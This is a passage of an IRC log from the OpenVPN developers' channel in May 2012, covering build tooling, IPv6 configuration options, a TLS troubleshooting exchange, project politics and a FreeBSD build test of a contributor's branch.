mosh 06:45 <@andj> helps a little 06:45 <@dazo> yeah, but not when typing ... and you only see a little fragment of the screen :) 06:45 <@andj> but I usually work from my tablet for IRC and stuff 06:46 <@andj> which has a keyboard 06:46 <@dazo> yeah 06:46 <@dazo> Might be possible to use a Bluetooth keyboard ... but that's still a downgrade from built-in ... 06:46 * dazo might be too picky/high-demanding :) 06:47 <@andj> but then again, for all intents and purposes it's a netbook when the KB is attached 06:47 <@andj> mobile keyboards just suck for ][\/ chars 06:47 <@dazo> I have a N900 now ... and except of it beginning to be unstable ... It isn't that bad for checking up systems and fixing minor issues 06:48 <@dazo> The N900 is only annoying on [] and | ... 06:48 <@andj> anyway, I'll keep you posted. I hope we can get Arne's work more mainline, and merged with the stuff we've done... 06:48 <@dazo> yupp! 06:48 <@cron2> andj: if you help acking it, this should speed up things significantly :-) 06:49 <@andj> got to run again... Perhaps a meeting somewhere this week might be a good idea to check on progress towards alpha2? 06:49 <@andj> cron2: that's what I intend to do... The code here was written by a colleague of mine, Arne has his own codebase... I'd like to merge most of that 06:50 <@dazo> andj: My schedule this week is fully packed :/ ... but yeah, I agree ... I'd like to have alpha2 out latest next week 06:51 <@dazo> it's just a couple of minor patches from Alon and a patch from me which should be considered 06:51 * cron2 will be traveling to Heise IPv6 conference in Frankfurt $soon, and not return before Friday - so no thursday meeting for me this week 06:52 <@dazo> we could do it earlier next week maybe? 06:52 <@cron2> meet without us :-) - mattock, james, you, that should be sufficient for these patches 06:52 * cron2 will try to find time to work on the test server 06:52 <@dazo> hehehe :) 07:44 -!- maxb [~maxb@jabberwock.vm.bytemark.co.uk] has quit [Ping timeout: 252 seconds] 07:46 -!- maxb [~maxb@jabberwock.vm.bytemark.co.uk] has joined #openvpn-devel 09:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:31 <@mattock> almost managed to generate a Windows installer using Alon's buildsystem 10:31 <@mattock> some incompatibilities with /bin/dash it seems 10:31 <@mattock> in openvpn-build/windows-nsis/build 10:32 <@mattock> then some issues with openvpn-gui 10:32 <@mattock> code signing should be in order now, got test certs/keys in a pkcs12 file 10:45 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 1 voices, 9 normal] 10:45 < ecrist> grr 10:45 < ecrist> so, bad news, openvpn talk will not be recorded 10:46 < ecrist> we WERE going to bring our own camera, but got an email the morning we flew out saying all the talks were being recorded, posted to youtube, CCSA license, blah blah 10:46 < ecrist> get here, find out he meant last two days of talks, not the first two days 10:47 < ecrist> the organizer here seriously lacks tact and, you know, organization 10:48 <@mattock> ecrist: maybe you could make a poor-man's recording using a smartphone or something? 10:48 <@dazo> :( 10:48 < ecrist> maybe 10:48 <@dazo> a good reason to go out to do some shopping! ;-) 10:48 <@mattock> :) 10:49 < ecrist> I have a digital camera that can do some recording, might need to pickup a bigger SD card 10:49 <@dazo> that's probably even cheaper :) 10:49 <@mattock> I think some cameras (at least some old Canons) have the annoying habit of interrupting the recording after n minutes 10:50 <@mattock> hopefully yours does not 10:50 <@mattock> the video quality seems to be fairly good in semi-recent cameras, provided the lighting is good 10:50 <@mattock> 640x480 is more than enough I think 10:51 <@dazo> ack 10:51 <@dazo> at least for such emergency situations 10:51 <@mattock> yup 10:52 < ecrist> the camera does HD recording, I think 10:52 <@mattock> especially with still photos the resolution is way less relevant than the optics... e.g. my crappy Canon Powershop A520 (or something) 10:52 <@mattock> has really good resolution, but 1600x1200 pics are just as good/crappy as 3200xsomething in practice 10:56 * dazo thinks cameras with more than 5Mpix is just waste of money and vendors' way of "my d*ck is bigger than yours" comparison 10:56 <@dazo> If you have 2Mpix, you can get high quality photo prints in standard photo paper sizes 10:56 <@dazo> more mpix is useful for larger papersizes mostly 10:57 <@mattock> big numbers sell, if the buyers are ignorant 10:57 <@dazo> and with more mpix ... you need better lenses ... which compact cameras mostly stink at 10:58 <@andj> reminds me of those cheap speakers 10:58 <@mattock> yep 10:58 <@andj> 10000 watts 10:58 <@andj> (rms) 11:07 <@dazo> wasn't it 10.000W PMPO ... which mean max watt - including distorted sound, or something like that 11:07 <@dazo> I think it was even in a single burst lasting just a few millisecs 11:08 <@dazo> http://en.wikipedia.org/wiki/PMPO#PMPO 11:08 <@vpnHelper> Title: Audio power - Wikipedia, the free encyclopedia (at en.wikipedia.org) 11:09 <@dazo> "Most amplifiers can sustain their PMPO for only a very short time, if at all; loudspeakers are not designed to withstand their stated PMPO for anything but a momentary peak without serious damage." hahahaha! 12:19 <@andj> that was it :) 14:11 < ecrist> mattock: got information on the new PBI stuff for FreeBSD today, plan on rolling out an OpenVPN PBI repository in the coming months 14:12 <@mattock> PBI? 14:12 < ecrist> an 'official' one, including publishing of our snapshots there 14:12 <@dazo> PBI? 14:12 < ecrist> it's like Mac OS X .app bundles 14:12 < ecrist> all libs and such are contained within the app bundle 14:12 <@mattock> ah, ok 14:12 <@mattock> that's neat 14:18 < ecrist> http://oldwww.pcbsd.org/content/view/20/26/ 14:18 <@vpnHelper> Title: PC-BSD - The PBI Format (at oldwww.pcbsd.org) 14:21 -!- dazo is now known as dazo_afk 15:15 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:28 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 244 seconds] 15:30 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 15:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Log closed Wed May 09 16:43:49 2012 --- Log opened Wed May 09 18:12:18 2012 18:12 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 18:12 -!- Irssi: #openvpn-devel: Total of 15 nicks [6 ops, 0 halfops, 1 voices, 8 normal] 18:12 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 19:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 19:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 19:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 22:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] --- Day changed Thu May 10 2012 00:04 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 00:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:09 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 260 seconds] 02:29 <@andj> hmm... why exactly does Alon have rights to create stuff from within the OpenVPN github? 02:37 <@andj> He's always complaining about people doing stuff without mailing list approval, but the minute he has rights, he starts abusing them. 03:12 <@mattock> andj: yeah, I've noticed that myself on other occasions 03:13 <@mattock> e.g. when he complained loudly about Heiko not discussing the service-pipe approach on the ml... and then he did the same with his buildsystem 03:13 <@mattock> I pointed that out to him, though 03:14 <@mattock> i.e. his buildsystem just appeared, without any discussion about the design or implementation 03:21 <@andj> indeed... My question remains though... Why does he have admin rights there? 03:28 <@mattock> no reason, except that he create the OpenVPN organization there 03:28 <@mattock> d 03:45 <@andj> perhaps it's a good idea to pre-emptively fix that, before it causes potential problems 03:48 <@mattock> haven't looked at my mails... what has he been up to? 03:53 <@mattock> ok, mandatory government bureaucracy handled... let's see about those mails 04:14 -!- dazo_afk is now known as dazo 04:18 <@andj> Groan... Alon isn't being very suppotive to new developers.. 04:19 <@andj> Decided to try to protect this way of working, as it's logical from the Android perspective... 04:22 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 04:27 <@mattock> dazo: james ACKed the UCS-2/UTF-8 patch: "Yes, I'm fine with this patch if it tests out okay. It seems like a 04:27 <@mattock> cleaner approach to encoding than what it replaces. James." 04:28 <@dazo> mattock: cool! good ... then I'll apply that with his ACK. 04:35 <@mattock> andj: I see what you meant... the plugin stuff 04:35 <@mattock> yep, we hadn't reached any consensus on that 04:38 <+krzee> sounds like he wanted to abstract the device handling 04:39 <+krzee> which sounds like a step twords openvpn3, right? 04:43 <@mattock> krzee: alon is all about cleanups 04:44 <@mattock> then again, he did not see the value in abstracting the SSL layer ("I don't understand why PolarSSL support needed to be added") 04:44 <+krzee> did he see the roadmap? 04:44 <@mattock> so, not sure what's his direction... besides cleaning up the code and the project 04:44 <@mattock> I think so, but not sure 04:45 <+krzee> cause i didnt specifically see why polar was needed, but i saw it in the context of ovpn3 and fell in love 04:45 <@mattock> yep, true 04:46 <@mattock> it makes sense if we want to cut hard dependencies to some specific software versions 04:46 <+krzee> he seems like he'ld be really well suited twords working on parts of ovpn3 on the side, from limited amount of watching his attitude, lol 04:46 <@mattock> well, he's been quite a bit easier to work with after the he attended our latest IRC meeting(!) 04:47 <@mattock> that said, he has managed to rub quite a few people the wrong way, and I can understand perfectly why 04:47 <+krzee> as can i, but i think he can be harnessed too 04:47 <+krzee> high energy people often get in personality conflicts 04:48 <+krzee> hows his skills? 04:48 <@mattock> krzee: you're easy to work with :) 04:48 <+krzee> i smoke copious amounts of weed ;] 04:48 <@mattock> but alon sure does have energy, and that is good 04:49 <@mattock> :) 04:51 <+krzee> out of nowhere (if i understand correctly) hes working on abstracting the tun interface / management… i think he's ripe to be directed into other areas of openvpn3 04:51 <+krzee> but with it being 'his idea' of course ;] 04:52 <+krzee> some sort of 'oh cool this looks like it could be useful in terms of getting closer to openvpn3 <link to roadmap>' 04:53 <+krzee> unless im just understanding some stuff wrong or whatever, just my $0.02 ;] 05:13 <@mattock> I think Alon is unemployed at the moment... or he has no need for sleep anymore 05:13 <@mattock> :D 05:13 <@mattock> or maybe, just like Michael Schumacher, he's a robot :P 05:25 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 260 seconds] 05:39 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 05:57 <@dazo> andj: Do you have any experience with POSIX capabilities? 06:33 <@andj> not too much, why? 06:33 <@andj> btw, a colleague of mine is working on an e-mail about patches Arne sent in 06:56 < ecrist> morning folks 06:56 < ecrist> our talk begins in about two hours. we went over it again last night, I'm confident it's going to rock. 06:57 < ecrist> the best video we could come up with is going to be 320x240, but there will be video 07:07 <@dazo> better than nothing :) 07:11 <@dazo> http://justinhileman.info/article/git-pretty/git-pretty.png 07:14 < ecrist> !git 07:14 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git 07:14 < ecrist> !learn git as If you have problems, relax: http://justinhileman.info/article/git-pretty/git-pretty.png 07:14 <@vpnHelper> Joo got it. 07:14 < ecrist> :) 07:30 <@mattock> dazo: excellent visualization of various git mess management strategies :D 07:30 <@dazo> yeah, it was ... I especially liked ones on the lower left side ;-) 07:31 <@dazo> "Is anyone down stream?" Yes: "Enough to form a lynch mob?" 07:35 <@mattock> yep :) 07:36 <@mattock> it was missing the "convert all into a patch an rewrite history as you please" option :D 07:37 <@mattock> not "a patch" but "series of patches" 07:46 <@andj> awsome 07:46 <@andj> +e 08:15 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Remote host closed the connection] 09:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:39 <@andj> groan 10:39 <@andj> basically, what alon's asking is to turn a small patch into a complete revamp of the management interface 10:40 <@dazo> yupp 10:48 <@andj> sorry for the angry mail 10:49 <@dazo> andj: that wasn't angry ... that was appropriate 10:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 11:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:02 <@andj> dazo: hehe, thanks... I'm going quiet on the issue now. Adding anything else is just starting a flame war 11:02 <@andj> and I haven't got time to argue 11:02 <@dazo> yepp 11:24 <+krzee> lol @ http://justinhileman.info/article/git-pretty/git-pretty.png 11:25 <+krzee> "enough to form a lynch mob?" 11:29 * jamxNL likes david's mail about Android 11:29 < jamxNL> hope it helps ;] 11:32 <@dazo> jamxNL: thx! 11:39 <@d12fk> i switched to alon ignore mode, works for me =) 11:40 <@d12fk> you guys know about not feeding the trolls? 11:40 <@dazo> :) 11:41 <@mattock> hmm, I'm still learning 11:41 <@mattock> :P 11:41 <@andj> thanks dazo 11:41 <@dazo> :) 12:01 <@mattock> suggested a(nother) meeting to Alon 12:02 <@mattock> anyways, I got to switch to ignore mode soon, or I never get any other work done :P 12:03 <@andj> I know the feeling... It annoys me, so I pay attention to it. I've given myself a 24h mailing list ban 12:04 <@mattock> I do that too, not look at my mails 12:05 <@mattock> but I have to, and then I spend several hours discussing things which shouldn't need any discussion, i.e. are common sense 12:16 <@andj> hehe 12:23 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 12:23 -!- novaflash is now known as novaflash_away 12:44 <+krzee> well thats almost ALL we do in the help channel (explain common-sense) ;] 13:30 < ecrist> our talk went awesome 13:30 < ecrist> don't know that the video is going to be worth much, though. 13:30 < ecrist> we were told by one of the conference comittee members that we had the best lab setup and presentation they've ever had 13:30 < ecrist> :D 13:32 < ecrist> so, we just need someone to sponsor us to start flying around giving this presentation. :D *ahem, OpenVPN Technologies 13:49 <+krzee> o/ gj bro 14:04 <@dazo> ecrist: well done! 15:23 <@mattock> krzee: then we know each other's pain :P 15:23 <@mattock> ecrist: congratulations! 15:24 -!- novaflash_away is now known as novaflash 16:08 -!- dazo is now known as dazo_afk 16:19 <@vpnHelper> RSS Update - tickets: #207: Windows 7 x64: KB2688338 affect the TAP interface <https://community.openvpn.net/openvpn/ticket/207> 16:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:04 -!- novaflash is now known as novaflash_away 17:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:41 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 256 seconds] --- Day changed Fri May 11 2012 00:39 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 00:44 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 265 seconds] 01:30 < ecrist> dazo_afk/mattock: thanks! 03:00 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 03:17 <@mattock> today no emails until evening, will focus on reading through Alon's buildsystem scripts to understand what they're exactly doing 03:17 <@mattock> maybe I'll add comments while I'm at it :) 03:33 -!- novaflash_away is now known as novaflash 03:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 03:53 <@mattock> going through alon's buildsystem scripts reminds me of the time I went through James' equally esoteric Python build scripts 03:53 <@mattock> man, how did I end up doing this :P 06:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:21 -!- dazo_afk is now known as dazo 07:30 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Quit: for(;;) break;] 08:31 -!- dazo is now known as dazo_afk 09:49 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 09:54 < ecrist> are there any docs around on IPv6 with OpenVPN? 09:57 <+krzee> i use the page cron made before merging his patch 09:57 <+krzee> hehe 09:57 -!- waldner [waldner@unaffiliated/waldner] has quit [Ping timeout: 272 seconds] 09:59 < ecrist> where is that? 09:59 < ecrist> and is it current for 2.3? 10:06 <@mattock> ah, finally a osslsigncode -signed windows installer... let's see how it works 10:07 <+krzee> !ipv6 10:07 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for ipv6 payload patch (adds some nice ipv6 options) or (#2) see !snapshots for a release with ipv6 patches in it, report how it works to help it get included in a stable release 10:07 <+krzee> i think it still works the same 10:07 <+krzee> and you need to use server if using server-ipv6 10:12 <@mattock> installer works allright, TAP-driver triggers complains, though 11:32 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 11:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:42 <@mattock> I'm having a synchronous discussion with Alon over an asynchronous medium (email) 11:42 <@mattock> :D 11:42 <@mattock> don't be surprised if he pops in here 11:55 < uuuppz> were there any known issues with openvpn 2.1 11:56 < uuuppz> talking to 2.2 11:56 < uuuppz> cos I have a mac client 11:56 < uuuppz> which is failing on tls setup 11:56 < uuuppz> who's using tunnel brick which seems to be 2.1 11:56 < uuuppz> TLS_ERROR: BIO read tls_read_plaintext error: error:140890C7:SSL routines:SSL3_GET_CLIENT_CERTIFICATE:peer did not return a certificate 11:57 < uuuppz> thats what I get on the server 11:59 < ecrist> that looks like a misconfiguration 11:59 < uuuppz> yeh 11:59 < uuuppz> but I am not seeing it 12:00 < ecrist> this is a main-channel question, be happy to help you there. 12:01 < uuuppz> yeh np 12:27 -!- dazo_afk is now known as dazo 12:47 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 12:47 -!- alonbl [~alonbl@unaffiliated/alonbl] has left #openvpn-devel [] 12:51 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 12:52 -!- alonbl [~alonbl@unaffiliated/alonbl] has left #openvpn-devel [] 12:59 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 12:59 -!- alonbl [~alonbl@unaffiliated/alonbl] has left #openvpn-devel [] 13:00 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 13:00 -!- alonbl [~alonbl@unaffiliated/alonbl] has left #openvpn-devel [] 13:03 -!- variable [root@freebsd/developer/variable] has joined #openvpn-devel 13:05 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 13:12 -!- alonbl [~alonbl@unaffiliated/alonbl] has left #openvpn-devel ["Konversation terminated!"] 13:31 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 240 seconds] 13:33 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 13:39 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 13:41 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Quit: Konversation terminated!] 13:43 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 13:52 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 240 seconds] 13:56 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 13:57 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Quit: Konversation terminated!] 14:00 < ecrist> do we currently do anything with SCTP in OpenVPN? 14:06 <@dazo> ecrist: nope 14:08 <@dazo> it'll be natural to add support for that in the future ... but not before openvpn have had a major overhaul of the code base ... implementing a new protocol now is not trivial 14:08 <@dazo> (esp. not to take out the benefits of sctp) 14:14 < ecrist> understood, I was asked by the folks implementing sctp on freebsd about openvpn's support for it 14:15 < ecrist> I gave them the, 3.0 will be a rewrite, and we'll write support for it then, line 14:15 < ecrist> dazo: do you have ipv6 from anywhere you can test something for me? 14:16 <@dazo> ecrist: sure do 14:16 < ecrist> ipv6 connect to ftp://token-black.secure-computing.net 14:16 < ecrist> login will fail for the moment, just want to make sure I've got IPv6 setup correctyl 14:16 < ecrist> can openvpn push both IPv6 and IPv4 ifconfig lines to clients? 14:17 <@dazo> $ ftp token-black.secure-computing.net 14:17 <@dazo> Trying 2607:fc50:1001:1d00::2... 14:17 <@dazo> Connected to token-black.secure-computing.net (2607:fc50:1001:1d00::2). 14:17 <@dazo> 220 ProFTPD 1.3.4a Server (Secure Computing Networks FTP Server) [2607:fc50:1001:1d00::2] 14:17 <@dazo> Name (token-black.secure-computing.net:dsommers): 14:17 < ecrist> ah, perfect, thank you sir 14:17 <@dazo> you're welcome 14:18 < ecrist> can openvpn push both IPv6 and IPv4 ifconfig lines to clients? 14:18 <@dazo> I believe so 14:18 <@dazo> master/v2.3 - that is 14:19 <@dazo> http://www.greenie.net/ipv6/openvpn.html 14:19 <@vpnHelper> Title: Gert Döring - IPv6 Payload Patch for OpenVPN (at www.greenie.net) 14:19 <@dazo> ifconfig-ipv6-push 2001:db8:1001::1 14:19 <@dazo> server-ipv6 2001:db8::/64 14:19 <@dazo> ifconfig-ipv6 2001:db8:5::1 2001:db8:5::2 14:19 <@dazo> ifconfig-ipv6-pool 2001:db8:6::7/64 14:19 < ecrist> muahahahah 14:20 <@dazo> basically all the old options ... but with the extra -ipv6 14:20 < ecrist> I need to get a second IPv6 allocation from my provider then, so I can dole those IPs out 14:20 < ecrist> I only have a single /64 right now 14:20 <@dazo> heh 14:21 * dazo got a /48 and a /64 from he.net at the moment 14:21 < ecrist> so do I, but this is a VPS with native IPv6, so want to avoid an HE allocation 14:22 <@dazo> ahh, fair enough 14:23 < ecrist> the second /64 will be for my VPN users 14:23 < ecrist> :D 14:24 <@dazo> heh :) 14:34 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 14:39 -!- alonbl is now known as alonbl_ 14:39 -!- alonbl_ is now known as alonbl__ 14:39 -!- alonbl__ is now known as alonbl 14:41 -!- alonbl is now known as alonbl_ 14:43 -!- alonbl_ is now known as alonbl 14:51 -!- alonbl is now known as alonbl__ 14:51 -!- alonbl__ is now known as alonbl_ 14:52 -!- alonbl_ is now known as alonbl 14:59 < ecrist> dazo: is there way way to setup default route with openvpn for ipv6? 15:00 < ecrist> push "redirect-ipv6-gateway def1" or something? 15:02 <@dazo> ecrist: not that easy ... but you can do: push "route-ipv6 0::0/0 <your VPN server IPv6 address" 15:02 <@dazo> (not sure why 0::0/0 ... might be some config parsing stuff .... ::/0 should technically be enough) 15:03 < ecrist> ok, is there something in the works, or is this how it's going to be? 15:03 <@dazo> cron2 can answer that better 15:03 <@dazo> I think it's on his todo list ... but dunno 15:04 <@cron2> pushing 0::0/0 works 15:04 <@cron2> what's missing is using IPv6 transport *and* IPv6 payload *and* IPv6-default-via-VPN 15:04 <@cron2> (because it will mess up IPv6 transport routing) 15:05 <@cron2> redirect-gateway does more than just pushing a default route - it goes out, finds the current default route, installs a host route to the VPN server, changes the default, and restores it later on... 15:10 <@dazo> cron2: with def1 ... it installs two "default" routes ... 0.0.0.0/8 and 128.0.0.0/8, which will be ordered before the default route - thus saving the default route if openvpn dies unexpectedly 15:11 <@cron2> dazo: well, you can push 2000::/3 which covers "all the currently-allocated IPv6 unicast space" and is not ::0/0 :-) 15:11 <@dazo> true :) 15:11 <@cron2> but anyway, all this is not handling ipv6 *transport* yet - works perfectly over ipv4 15:11 <@dazo> ack 15:12 <@cron2> this is basically "touch all bits in route.c that I have not yet ipv6-ified..." :-) 15:12 <@dazo> :) 15:16 <@dazo> cron2: but isn't this what this patch you have on your plate touches as well? From Scott Z....something? 15:16 <@cron2> gaaaah... 15:16 <@dazo> ;) 15:17 <@dazo> (NACK or ACK will make me stop being that annoying ;-)) 15:17 * cron2 just came back from an IPv6 conference (with lots of time needed to do a talk), this weekend is child birthday party, ... 15:17 <@cron2> my time management sucks 15:17 <@dazo> no worries ... mine isn't better :/ 15:18 <@cron2> I think I need to take a time off next week to get my openvpn backlog sorted out :) 15:25 < ecrist> fwiw, I'm running 2.3alpha1 and push IPv4 + IPv6 and redirecting gateway for both, and everything is working 15:25 < ecrist> just need to tweak the firewall on my openvpn server to pass the right things 15:25 <@cron2> ecrist: cool :) 15:25 < ecrist> icmp6 is getting clobbered somewhere 16:40 < ecrist> muhahaha, got it all working, IPv6 is a go. 16:40 < uuuppz> ecrist: stupid feking macs 16:40 < ecrist> It only took rootbsd 20 minutes to reply to my request for a second ipv6 allocation, pretty impressive 16:40 < ecrist> uuuppz: ? 16:40 < uuuppz> line endings 16:41 < uuuppz> and all that trouble 16:41 < ecrist> um, iirc, they use standard unix line endings 16:41 < uuuppz> gave the guy a pc line ended file 16:41 < uuuppz> nd tunnel brick 16:41 < uuuppz> editted 16:41 < uuuppz> it 16:41 < uuuppz> but openvpn didn't pick up the change 16:41 < uuuppz> so 16:41 < uuuppz> it was parsing the file with the 3 added line 16:41 < uuuppz> on one line 16:41 < uuuppz> and therefore not picking up the cert 16:41 < uuuppz> don't think it gave a useful error tho 16:42 < ecrist> pretty sure it would have 16:42 < uuuppz> nah 16:42 < uuuppz> I'm looking a the log 16:42 < uuuppz> nothing in it 16:42 < ecrist> paste it so I can see it 16:43 < uuuppz> in channel? 16:45 < ecrist> pastebin 16:45 < uuuppz> http://pastebin.com/nviCCH8S 16:45 < uuuppz> yeh takes me a while an anonymise 16:46 < uuuppz> if you wanna see cert names 16:46 < uuuppz> it has to be email 16:46 < uuuppz> sorry 16:46 < ecrist> don't really care 16:47 < ecrist> you're right, nothing useful in there. 16:47 < ecrist> don't use windows to write your configs. ;_ 16:47 < ecrist> :) 16:47 < uuuppz> not a good answer 16:47 < uuuppz> + bug effects windows as much as mac or linux 16:47 < uuuppz> I worked it out 16:47 < uuuppz> when I had the same problem locally 16:48 < uuuppz> and u know me and my Capatalist Windows 7 :P 16:48 < uuuppz> basically 16:48 < uuuppz> if I was to do nething 16:48 < uuuppz> I would make it log an error 16:48 < uuuppz> when it can't find the ca.cert 16:48 < uuuppz> or the others 16:48 < uuuppz> when specified 16:49 < ecrist> ca.cert isn't required 16:49 < uuuppz> no but 16:49 < ecrist> if it doesn't see the option, it doesn't look for it 16:49 < uuuppz> if you specifiy it 16:49 < uuuppz> and it doesn't exist 16:49 < uuuppz> and I did spcify it 16:49 < uuuppz> I had 16:49 < ecrist> if you do, and it doesn't exist, it DOES error 16:49 < uuuppz> ca and long line of shit 16:50 < ecrist> were there spaces? 16:50 < uuuppz> yes 16:50 < ecrist> probably stopped looking at arguments after the file name 16:50 < uuuppz> yeh but filename 16:50 < uuuppz> had ca appended 16:50 < uuuppz> sorry 16:50 < uuuppz> cert 16:50 < uuuppz> plus a newline or whatever 16:50 < uuuppz> so 16:50 < ecrist> what was verbosity set to? 16:50 < uuuppz> it would have had a bad filename 16:50 < uuuppz> 3 16:51 < uuuppz> I thin 16:51 < uuuppz> gave u a pastebin earlier with the log 16:51 < uuuppz> sorrry config 16:51 < ecrist> it's pointless to really talk about this without 1) having the file to look at 2) being able to reproduce it 16:51 < uuuppz> well 16:51 < alonbl> ecrist: i see you use freebsd, right? 16:51 < ecrist> you really expect me to remember/ 16:51 < uuuppz> its easy o reprdocue 16:51 < uuuppz> :) 16:51 < ecrist> alonbl: yes 16:51 < ecrist> alonbl: almost exclusively 16:51 < uuuppz> I can tell u how to do that 16:51 < alonbl> ecrist: can you please try to compile branch of openvpn on this platform? 16:52 < ecrist> sure, tell me what branch to compile 16:52 < ecrist> (remind me how to check it out, too) 16:52 < uuuppz> no branch 16:52 < uuuppz> oh sry :) 16:52 < uuuppz> misread. 16:52 < alonbl> ecrist: great! I try to install freebsd for the past 2 hours... :) 16:53 < ecrist> you just want me to pull git head and compile it? 16:53 < ecrist> do you need head, or just openvpn? 16:53 < alonbl> git checkout http://alonbl@github.com/alonbl/openvpn.git 16:53 < alonbl> git clone http://alonbl@github.com/alonbl/openvpn.git 16:53 < alonbl> git checkout tun 16:53 < alonbl> autoreconf -ivf 16:53 < alonbl> ./configure && make 16:53 < ecrist> why git checkout tun? 16:54 < alonbl> <sorry about the git checkout> 16:54 < alonbl> ecrist: this is the branch I want to test, so far I was only tested it on Windows, Linux and Solaris. 16:55 < ecrist> ok, so do you want me to do all those steps above? 16:56 < alonbl> ecrist: yes, it is standard openvpn process... changes from master are at: https://github.com/alonbl/openvpn/compare/master...tun 16:56 <@vpnHelper> Title: Comparing master...tun · alonbl/openvpn · GitHub (at github.com) 16:56 < ecrist> ecrist@token-black:~-> git checkout tun 16:56 < ecrist> fatal: Not a git repository (or any of the parent directories): .git 16:56 < alonbl> ecrist: I am interested in build failures... did my best to avoid them... this branch organize the use of the tun per platform. 16:57 < alonbl> ecrist: yes... from the beginning... 16:57 < alonbl> git clone http://alonbl@github.com/alonbl/openvpn.git 16:57 < ecrist> I did the clone, the did the checkout tun, and I got that error 16:58 < alonbl> Oh,,, 16:59 < alonbl> you probably need to do cd openvpn as well... sorry 16:59 < ecrist> ah, ok 17:01 < ecrist> working on it 17:03 < ecrist> fwiw, I used this configure line: 17:03 < ecrist> ./configure --with-lzo-lib=/usr/local/lib --with-lzo-headers=/usr/local/include --disable-pkcs11 --prefix=/usr/local --mandir=/usr/local/man --infodir=/usr/local/info/ --build=amd64-portbld-freebsd9.0 17:03 < alonbl> that's great! 17:03 < ecrist> raar, it still doesn't want to find lzo 17:03 < alonbl> hmmm... no... you don't need the --with-lzo-headers, it is unsupported... 17:04 < ecrist> right, that's changed 17:04 < ecrist> give me a few minutes 17:04 < alonbl> Use: ./configure CFLAGS="-I/usr/include" LDFLAGS="-L/usr/local/lib" --build=amd64... 17:05 < alonbl> BTW: 